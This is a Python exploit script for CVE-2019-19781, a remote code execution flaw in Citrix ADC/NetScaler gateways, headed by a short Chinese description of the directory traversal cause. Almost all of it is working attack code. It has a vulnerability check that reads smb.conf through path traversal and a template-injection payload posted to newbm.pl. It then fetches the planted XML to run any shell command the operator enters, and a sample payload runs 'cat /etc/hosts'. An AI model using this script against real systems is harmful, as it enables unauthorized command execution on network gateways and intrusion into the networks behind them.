'''
cve-2019-19781   Citrix网关RCE漏洞
writen by ophxc

漏洞成因：Citrix ADC（NetScalers）中的目录穿越错误，这个错误会调用perl脚本，perl脚本用于将XML格式的文件附加到受害计算机，因此产生远程执行代码。
'''
import requests, sys, uuid

'''
<?xml version="1.0" encoding="UTF-8"?>
<user username="../../../netscaler/portal/templates/cdl">
  <bookmarks>
    <bookmark UI_inuse="" descr="[% template.new('BLOCK' = 'print `cat /etc/hosts`') %]" title="cdl" url="http://example.com" />
  </bookmarks>
  <escbk>
  </escbk>
  <filesystems></filesystems>
  <style></style>
</user>
'''


def check(url):
    url="http://"+url+"/vpn/../vpns/cfg/smb.conf"
    res=requests.get(url=url)
    if res.status_code == 200 :
        if "[global]" in res.text:
            print("it's vulnable")
        else:
            exit("it's not vulnable")
    else:
        exit("it's not vulnable")

def upload_xml(url, cdl, cmd):
    newbm_url ="http://"+ url + '/vpn/../vpns/portal/scripts/newbm.pl'
    headers = {
        "Connection": "close",
        "NSC_USER": "../../../netscaler/portal/templates/%s" % cdl,
        "NSC_NONCE": "nsroot"
    }
    payload = "url=http://example.com&title=" + cdl + "&desc=[% template.new('BLOCK' = 'print `" + cmd + "`') %]"
    proxies = {"http": "127.0.0.1:8080", "https": "127.0.0.1:8080"}

    r = requests.post(url=newbm_url, headers=headers, data=payload, proxies=proxies, verify=False,
                      allow_redirects=False)
    # print r.content

    if r.status_code == 200 and 'parent.window.ns_reload' in r.content:
        print("\n", "[+] Upload_Xml= ", newbm_url)
        print('[+] Upload successful!\n')

        xml_url(url, cdl, cmd)
    else:
        sys.exit("[+] Upload Fail!")


def xml_url(url, cdl, cmd):
    xml_url ="http://"+ url + '/vpn/../vpns/portal/%s.xml' % cdl
    headers = {
        "NSC_USER": "nsroot",
        "NSC_NONCE": "nsroot"
    }
    proxies = {"http": "127.0.0.1:8080", "https": "127.0.0.1:8080"}
    r = requests.get(xml_url, headers=headers, verify=False, proxies=proxies)
    # print r.headers()

    if r.status_code == 200:
        print("[+] Xml_Url= ", xml_url)
        print("[+] Command= ", cmd)
        print("[+] Exec Result:\n %s\n"%r.content.split("&#117;")[0])


if __name__ == '__main__':
    url = sys.argv[1]
    cdl = str(uuid.uuid4()).split('-')[0]
    check(url)
    cmd = input("Set Cmd > ")
    upload_xml(url, cdl, cmd)
